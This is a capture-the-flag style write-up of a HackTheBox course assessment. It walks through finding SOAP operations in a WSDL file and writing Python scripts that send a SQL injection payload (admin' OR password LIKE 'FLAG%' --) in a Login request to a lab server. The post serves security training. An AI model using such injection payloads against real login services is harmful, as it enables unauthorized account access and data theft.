Skills Assessment for Web Service & API attacks: Hackthebox CBBH Course

Hello again everyone! Back again with another skills assessment for the CBBH course on HacktheBox. Working with the Web Service and API attacks module, only two more modules until I finish the course. Below is the question we are given to try and solve the assessment

After navigating to the IP given to us, http://IP:PORT/wsdl?wsdl, we are given the wsdl file for the web server. As the question suggests, we are to find the password for the admin user via SQL injection.

This required analyzing the wsdl file in great detail, looking for a way to inject SQL code. I also decided to install the wsdler extension after doing some research, wsdler is a Burpsuite extension that parses wsdl files, and in this case, it found a Login and ExecuteCommand Operation.

From here I had to come up with the SOAP request that would attempt to log in as admin. I was given a SOAP request template from a section within this module. However, it was a template for ExecuteCommand, so it was just a matter of changing the SOAP request to a Login operation and integrating it into the python script correctly so I could get the flag back. I was able to get the Login SOAP request down with help and research.

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:tns="http://tempuri.org/" 
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>admin</username><password>admin</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>

After combining it with python script from the module, I got the following script:

import requests
while True:
 payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>admin</username><password>admin</password></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://IP:PORT/wsdl", data=payload, headers={"SOAPAction":'"Login"'}).content)

From here I just had to find a way to inject…as admin:admin is not correct. I referred back to the SQL Injection Fundamentals module (Subverting query logic, as the specific section), I was able to further my script in total by changing the username from admin to admin ‘OR ‘1’=1'. The script continued to hang after this which means the syntax is correct. Just have to extract the flag!

I first had trouble with trying to get any sort of output, so my first step was to remove the while true statement. That was only there from the ExecuteCommand operation, it was implemented for the program to remain true and I could continue to execute commands until I ended it.

So I am now left with this code:

import requests
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>admin</username><password>admin</password></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://IP:PORT/wsdl", data=payload, headers={"SOAPAction":'"Login"'}).content)

Here is where lots of the debugging statements were added. Important part that helped me a lot was adding the print(response.status_code) line since I got a 500 error the first few times. And I realized that this was because my original SQLi statement was giving errors. I then attempted to come up with a much simpler payload that would match the parameter of the password that the question gave me above.

Once I added that, as well as a few other lines for decoration, I received the flag in the payload below with this script!

import requests

username = "admin"
password = "admin"

print("Starting the request...")

payload = f'''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>{username}' OR password LIKE 'FLAG%' -- </username><password>{password}</password></LoginRequest></soap:Body></soap:Envelope>'''
try:
   response = requests.post("http://IP:PORT/wsdl", data=payload, headers={"SOAPAction": '"Login"'}, timeout=5)
   print("Request Sent")
   print(response.status_code)
   print(response.text)

except requests.exceptions.Timeout:
    print("The request timed out.")
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

I added a lot more debugging statements as you can tell…But thanks to some of my python knowledge and ChatGPT, I perfected the script to retrieve the flag!

Thanks for reading this writeup. Catch you guys in the next one!